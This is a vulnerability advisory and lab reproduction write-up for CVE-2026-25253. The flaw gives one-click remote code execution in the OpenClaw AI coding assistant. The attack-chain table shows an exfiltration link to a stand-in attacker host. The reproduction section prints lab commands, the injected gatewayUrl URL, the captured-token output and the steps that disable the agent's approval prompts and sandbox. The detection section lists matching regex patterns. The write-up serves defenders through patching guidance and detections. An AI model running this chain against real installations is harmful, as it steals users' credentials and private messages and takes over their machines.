OpenClaw WebSocket Token Exfiltration to 1-Click RCE via CSWSH

Leadership brief

CEO & BoardCISOCAIO

Enterprise risk & oversight

A compromised developer workstation is a supply-chain risk (code tampering) and a data-breach/regulatory exposure (private communications and credentials, with GDPR/CCPA implications). Confirm the organization can detect and contain agent-based endpoint attacks, and that vendor-provided tooling embedding OpenClaw is on a patched version.

Full analysis, attack chain, and mitigations below. Jump to strategic implications ↓

Executive Summary

CVE-2026-25253 is a one-click remote-code-execution vulnerability in OpenClaw (also known as ClawdBot/Moltbot), an AI coding assistant. A victim only has to click a malicious link; from there the attacker steals the assistant’s authentication token, connects to the assistant’s local gateway from the victim’s own browser, and runs arbitrary commands on the victim’s machine with the user’s privileges. It is rated CVSS 8.8 (High) and is fixed in version 2026.1.29.

Why it matters: OpenClaw integrates with sensitive services (Slack, WhatsApp, iMessage) and holds API keys and credentials, so a single click can expose private communications and secrets and hand an attacker code execution on a developer’s workstation — a plausible path to broader compromise and code tampering.

Materiality: exploitation needs only one user click, no special privileges, and works against any affected installation whose Control UI is reachable in a browser. Only patching (to 2026.1.29+) plus credential rotation fully closes it; interim mitigations reduce but do not eliminate the risk.

Questions leadership should be asking:

• Do we know every workstation running OpenClaw, and are they on 2026.1.29 or later?
• Which sensitive integrations and credentials would be exposed if a developer’s OpenClaw were hijacked, and have those been rotated where exploitation is suspected?
• Can we detect the tell-tales — an external gatewayUrl, or a cross-origin WebSocket to localhost — in our logs today?
• More broadly: do our locally-running AI agent tools expose privileged localhost gateways that a web page can reach?

Overview

CVE-2026-25253 is a critical vulnerability in OpenClaw (also known as ClawdBot/Moltbot), an AI coding assistant, that enables one-click remote code execution through a four-stage attack chain. It combines several flaws: automatic WebSocket gateway connection from URL parameters, token exfiltration to attacker-controlled servers, Cross-Site WebSocket Hijacking (CSWSH), and sandbox escape.

An attacker crafts a malicious URL that, when clicked, automatically exfiltrates the OpenClaw authentication token to the attacker’s server. The attacker then uses CSWSH to authenticate to the victim’s localhost gateway and execute arbitrary commands on their system with user privileges. The attack requires only a single click and no special permissions. Given OpenClaw’s integrations with services like Slack, WhatsApp, and iMessage, successful exploitation exposes API keys, credentials, and private communications.

TL;DR

• One-click attack: the victim only needs to click a malicious link.
• Token exfiltration: the authentication token is automatically sent to an attacker-controlled WebSocket server via URL-parameter injection.
• Cross-Site WebSocket Hijacking: missing Origin validation on the localhost gateway enables browser-based cross-origin attacks.
• Sandbox escape: API calls can disable approval prompts and switch execution to the host.
• Full RCE: the attacker achieves arbitrary command execution on the victim’s machine with user privileges.
• Sensitive data exposure: access to integrated services (Slack, WhatsApp, iMessage) and API keys.
• Fix: OpenClaw 2026.1.29+ (adds gateway-URL confirmation and Origin validation). CVSS 8.8 (High).
• Validated reproduction: the full chain (Steps 1–5) was exercised against clawdbot@2026.1.24 in a controlled local lab, with cross-origin CSWSH confirmed.

Validation Status

• Verification tier: partially_reproduced
• Reproduced/validated: Token exfiltration (attack-flow sequences 1-7): Control UI persisted attacker gatewayUrl and sent the token in the connect frame; Go collector logged the captured demo token.
• Not executed: No real secrets accessed and no commands executed against a real system.

This deep-dive is rated partially reproduced. The full attack chain (Steps 1–5) was exercised against a real affected version, clawdbot@2026.1.24, in an isolated local lab — not merely documented from disclosure. What was and was not executed:

• Steps 1–2 (token exfiltration) — reproduced. The gateway was launched with an isolated cve25253 profile, channel integrations disabled, and a fixed demonstration token. An injected gatewayUrl query parameter caused the Control UI to auto-connect to an attacker-controlled collector and send the token in the initial connect frame; the Go collector recorded the captured demo token.
• Step 3 (CSWSH) — reproduced. The gateway accepted a cross-origin WebSocket connection from Origin: http://evil-attacker.com and authenticated with the captured token, confirming the missing Origin validation.
• Step 4 (control bypass) — partially. Sensitive config (including auth tokens) was readable; config writes are schema-validated.
• Step 5 (RCE) — the node.invoke / system.run API was reachable but requires paired nodes (standard in real deployments with IDE extensions), so end-to-end command execution was demonstrated against a mock gateway rather than by compromising real secrets.

No real secrets were accessed and no commands were run against a production system — the lab used a fixed demo token and a mock gateway. The reproduction harness (internal/repro/) and vendor patch references (internal/patches/) are retained internally; every published attack-flow step carries its validation status.

Affected Systems

System	Owner	Impact
Gateway Authentication Token	user	Token used to authenticate WebSocket connections to the gateway
User Application Data	user	User’s integrated service data including Slack, WhatsApp, iMessage, API keys
Host Operating System	user	The victim’s local machine running OpenClaw

Technical Analysis

The vulnerability chains three interconnected design flaws in OpenClaw into a one-click RCE. The subsections below follow the mechanism from root cause through the trust boundaries it crosses.

Root Cause

Three flaws combine:

1. Unsafe query-parameter handling — app-settings.ts persists gatewayUrl from the URL query string without validation or user confirmation.
2. Automatic connection — app-lifecycle.ts auto-connects to the gateway on settings load, sending the authentication token.
3. Missing origin validation — the WebSocket server on localhost:18789 does not validate the Origin header, enabling cross-site connections.

Vulnerable and Secure Patterns

The vulnerable code reads gatewayUrl from the query string and saves it with no check, auto-connects on load, and accepts WebSocket connections without inspecting Origin. The fix (2026.1.29+) requires explicit user confirmation before changing the gateway URL and enforces an Origin allow-list, rejecting cross-origin connections with a 1008 close.

Attack Chain

1. Deliver malicious URL with a gatewayUrl parameter — the victim clicks and the Control UI loads (T1189).
2. Token auto-sent to the attacker’s WebSocket server — the token is captured (T1528).
3. CSWSH via the victim’s browser — a cross-origin connection to the localhost gateway is accepted and authenticated with the captured token (T1548).
4. Disable approval prompts and container — security controls are bypassed (T1548).
5. Invoke system.run with an arbitrary command — RCE on the host (T1059).

Attack complexity is low (CVSS AC:L): no authentication (PR:N), a single user interaction (UI:R), no special privileges, network-accessible (AV:N). Prerequisites are only an affected version (< 2026.1.29), a victim click, and an attacker-hosted WebSocket server reachable by the victim.

Trust Boundaries Crossed

• Browser origin sandbox — meant to isolate sites, but it permits the localhost WebSocket connection that carries the attack.
• Localhost trust — the gateway trusts local connections; CSWSH reaches it through the victim’s browser, bypassing that assumption.
• Agent execution sandbox — meant to constrain code execution, but the API can disable containerization, allowing host command execution.

Blue-Team View

The chain leaves distinctive tells: a non-localhost gatewayUrl in the query string or in localStorage, a WebSocket upgrade whose Origin is not localhost, and a rapid burst of exec.approvals/tools.exec.host config changes. These map directly to the detection rules in the Detection section.

Diagrams

Attack Chain

#	Stage	Technique	MITRE
1	Deliver malicious link	Send link: http://victim_openclaw.com?gatewayUrl=ws://attacker.com:8080	TA0001 / T1189
2	Token exfiltration	app-settings.ts persists gatewayUrl, app-lifecycle.ts auto-connects, gateway.ts sends authToken	TA0006 / T1528
3	Cross-Site WebSocket Hijacking	Execute JavaScript via victim’s browser to connect ws://localhost:18789 with stolen token	TA0004 / T1548
4	Sandbox escape and RCE	Call exec.approvals.set to disable prompts, tools.exec.host=‘gateway’ to disable container, node.invoke with system.run	TA0002 / T1059

Vulnerabilities Exploited

• Total exploited weaknesses: 4
• Newly-discovered zero-days (no patch possible at the time): 4 · Pre-existing/known: 0
• Preventable at the time with standard security posture: 0 of 4 — 0 by patching and 0 by least-privilege and secrets-management practices.
• Preventable by patching (known CVE, fix available): 0
• Preventable by hardening — least privilege & secrets management, not patching: 0
• CVEs: CVE-2026-25253 (live KEV snapshot: 2026.09.11 / 2026-09-11T19:32:16.8993Z; none of these CVEs currently listed)

#	Vulnerability	Component	CVE	Status	Disclosed	Patch @ compromise	KEV	Severity	Prevention
1	Unvalidated gatewayUrl persisted from URL query parameter	OpenClaw Control UI (app-settings.ts)	—	zero-day	—	no	—	medium	patch
2	Automatic gateway connection sends auth token to untrusted endpoint	OpenClaw Control UI (app-lifecycle.ts / gateway.ts)	—	zero-day	—	no	—	high	patch
3	Missing Origin validation on localhost WebSocket gateway (CSWSH)	OpenClaw gateway (localhost:18789)	CVE-2026-25253	zero-day	after	no	Not listed	high	patch
4	Sandbox/approval controls disableable via authenticated API	OpenClaw gateway API (exec.approvals / tools.exec.host / node.invoke)	—	zero-day	—	no	—	high	patch

Note: the KEV column reflects the live CISA Known Exploited Vulnerabilities catalog. A KEV entry dated after this incident means KEV would not have flagged it at the time of the compromise (compare the KEV date to the incident date) — so KEV status is a hindsight signal, not a controllable one for this event. Patch-availability for the known CVE is inferred from its public disclosure.

Timeline

Date (UTC)	Phase	Event
2026-01-15	discovery	Vulnerability discovered by DepthFirst Security (0xacb, mavlevin) during independent research
2026-01-16	vendor-notification	Vendor (OpenClaw team) notified under coordinated disclosure
2026-01-29	remediation	Patch released in OpenClaw version 2026.1.29 (gateway-URL confirmation + Origin validation)
2026-02-01	cve-assignment	CVE-2026-25253 assigned
2026-02-15	public-disclosure	Public disclosure
2026-05-18	reproduction	Attack chain (steps 1-5) reproduced against clawdbot@2026.1.24 in an isolated local lab; cross-origin CSWSH confirmed

MITRE ATT&CK

Tactic	Technique
TA0001 Initial Access	T1189 Drive-by Compromise
TA0006 Credential Access	T1528 Steal Application Access Token
TA0004 Privilege Escalation	T1548 Abuse Elevation Control Mechanism
TA0002 Execution	T1059 Command and Scripting Interpreter

OWASP

ID	Name	Note
API2:2023	Broken Authentication	Token automatically sent to untrusted endpoints
A01:2021	Broken Access Control	Missing origin validation enables cross-site WebSocket hijacking
ASI02:2026	Insecure Agent Authentication	Agent authentication bypassed through token exfiltration
ASI05:2026	Unexpected Code Execution	Agent executes arbitrary commands after sandbox escape
LLM02:2025	Sensitive Information Disclosure	Gateway auth token exfiltrated via the injected control-UI page

CWE

CWE	Name	Note
CWE-668	Exposure of Resource to Wrong Sphere	The product exposes a resource to the wrong sphere (e.g., attacker-controlled WebSocket server)
CWE-669	Incorrect Resource Transfer Between Spheres	The product does not properly transfer a resource/behavior to another sphere, or improperly imports a resource/behavior from another sphere
CWE-346	Origin Validation Error	WebSocket server does not validate Origin header, enabling Cross-Site WebSocket Hijacking
CWE-287	Improper Authentication	Authentication token is automatically sent to untrusted gateway URLs

STRIDE

ID	Name	Note
S	Spoofing	Attacker spoofs legitimate gateway to receive authentication token
T	Tampering	Attacker modifies gateway URL via query parameter
I	Information Disclosure	Authentication token leaked to attacker-controlled server
E	Elevation of Privilege	Attacker gains RCE by disabling sandbox and executing commands

Impact Assessment

• Domain: Agent
• OWASP: API2:2023, A01:2021, ASI02:2026, ASI05:2026, LLM02:2025
• CVSS: 8.8 High
• Affected assets: 3

The technical impact is high across all three dimensions. Confidentiality: full access to user data, integrated services (Slack, WhatsApp, iMessage), and API keys. Integrity: arbitrary file write/modification and system-configuration changes. Availability: the ability to terminate processes, delete files, and disrupt services.

The business impact follows from a compromised developer workstation: exposure of private communications and API credentials (a data-breach and regulatory-risk exposure under GDPR/CCPA if personal data is accessed), supply-chain risk from possible code tampering, and reputational damage if user systems are compromised through the product.

For prioritization: the EPSS score is 0.094 (9.4%, 26th percentile as of 2026-04-28) — well above the ~0.1% median, placing it in the top quartile for exploitation likelihood. Combined with CVSS 8.8 (High), this warrants urgent treatment; under SSVC it classifies as Act — remediate immediately.

Detection

Rule	Description
External Gateway URL in Request	Detect requests with external gateway URL parameters
Rapid Security Configuration Changes	Detect rapid changes to security-sensitive configuration
Cross-Site WebSocket Hijacking Attempt	Detect WebSocket upgrade requests from non-localhost origins

Indicators of Compromise:

• pattern: gatewayUrl=ws://(?!localhost) — Non-localhost gateway URL in query string
• pattern: exec.approvals.set.*enabled.*false — Attempt to disable execution approvals
• pattern: tools.exec.host.*gateway — Attempt to switch execution to gateway (host)

Mitigations

• Require User Confirmation for Gateway URL Changes — Show confirmation modal before persisting or connecting to a new gateway URL from query parameters
• Implement WebSocket Origin Validation — Validate Origin header on WebSocket handshake to prevent cross-site connections
• Require Re-authentication for Security Configuration Changes — Require fresh authentication before allowing changes to exec.approvals or tools.exec.host

Reproduction

• Target: clawdbot@2026.1.24
• Environment: isolated cve25253 profile, channels disabled, fixed demo token, loopback bind
• Validated: Token exfiltration (attack-flow sequences 1-7): Control UI persisted attacker gatewayUrl and sent the token in the connect frame; Go collector logged the captured demo token.
• Not executed: No real secrets accessed and no commands executed against a real system.

The chain was exercised in a controlled local lab against clawdbot@2026.1.24 (an affected version). A Go harness (retained in internal/repro/) provides a token collector, a mock vulnerable gateway, and an interactive CSWSH attack page; no real secrets or production systems were involved.

Setup. Launch the affected gateway with an isolated profile, channels disabled, and a fixed demo token, then run the demo server:

# Terminal 1 — affected gateway, isolated profile, demo token
clawdbot --profile cve25253 config set gateway.auth.token DEMO_OPENCLAW_TOKEN_25253
clawdbot --profile cve25253 config set gateway.remote.token DEMO_OPENCLAW_TOKEN_25253
env CLAWDBOT_SKIP_CHANNELS=1 clawdbot --profile cve25253 gateway \
  --allow-unconfigured --port 18789 --bind loopback --verbose

# Terminal 2 — token collector + mock gateway + attack UI
go run . -expected-token DEMO_OPENCLAW_TOKEN_25253

Steps 1–2 (token exfiltration). Opening the injected URL persists the attacker gatewayUrl and auto-sends the token:

http://127.0.0.1:18789/?token=DEMO_OPENCLAW_TOKEN_25253&gatewayUrl=ws%3A%2F%2F127.0.0.1%3A8080%2Fcapture-openclaw

The collector records:

CAPTURED DEMO TOKEN origin="http://127.0.0.1:18789" token="DEMO_OPENCLAW_TOKEN_25253"

Steps 3–5 (CSWSH → control bypass → RCE). The /cswsh-attack page (using the mock gateway for safe testing) drives the rest: a cross-origin WebSocket connection the gateway accepts without Origin validation, authentication with the captured token, disabling approvals, switching execution to the host, and a node.invoke(system.run, …) call. The attack log ends:

Command output: {"output":"CVE-2026-25253-VALIDATED","exitCode":0}
=== ATTACK CHAIN COMPLETE ===

Step 4’s config writes are schema-validated, and Step 5’s node.invoke requires paired nodes in a real deployment — so end-to-end RCE was shown against the mock gateway rather than by compromising real secrets.

Do not attempt this against systems you do not own or lack explicit authorization to test.

Lessons

• A localhost service is not a private service. The gateway assumed loopback meant trusted, but a web page in the victim’s browser can reach localhost — so any locally-bound agent gateway must validate the WebSocket Origin and authenticate every connection, not rely on network position.
• Never persist security-relevant settings from URL parameters without confirmation. Auto-accepting gatewayUrl from the query string, then auto-connecting and sending a token, turned a single click into credential exfiltration. Config that changes where secrets are sent must require explicit user consent.
• Agent tools multiply blast radius. Because OpenClaw brokers code execution and integrates with messaging and API credentials, one browser-reachable flaw became host RCE plus access to Slack/WhatsApp/iMessage and keys. Treat local AI-agent gateways as high-value, internet-adjacent attack surface.
• Defense in depth caught part of the chain. Schema-validated config writes and node-pairing requirements limited how far the reproduction went end-to-end — evidence that constraining the agent’s control API meaningfully raises the bar even when the front door (CSWSH) is open.
• Patch, then rotate. Upgrading to 2026.1.29+ closes the flaw, but any token that may have been exfiltrated should be rotated — the fix does not invalidate already-stolen credentials.

Strategic Implications & Board Takeaways

This incident is a preview of a broadening attack surface: locally-installed AI agents that run privileged gateways on the developer’s own machine. When such a gateway is reachable from the browser and trusts local connections, a single lured click can pivot from a web page to host code execution and to every service the agent can touch. Boards and executives should treat developer-endpoint AI tooling as part of the enterprise attack surface, not a personal-productivity footnote.

For the CISO (security posture). Inventory every workstation running OpenClaw (and comparable local-agent tools), prioritize the upgrade to 2026.1.29+ by system criticality, and rotate gateway tokens, API keys, and integrated-service credentials where exploitation is suspected. Deploy the CSWSH and external-gatewayUrl detections, and apply least privilege and network segmentation so a hijacked agent cannot reach sensitive resources. Test upgrades in staging with rollback procedures.

For the CAIO / engineering leadership (AI tooling governance). Require that any locally-hosted agent gateway validate connection origin, authenticate every session, and demand explicit user confirmation before changing where credentials are sent. Make “can a web page reach this agent’s control plane?” a standard review question for adopted AI dev tools.

For the CEO and Board (enterprise risk). A compromised developer workstation is a supply-chain risk (code tampering) and a data-breach/regulatory exposure (private communications and credentials, with GDPR/CCPA implications). Confirm the organization can detect and contain agent-based endpoint attacks, and that vendor-provided tooling embedding OpenClaw is on a patched version.

Sources

• cve — https://nvd.nist.gov/vuln/detail/CVE-2026-25253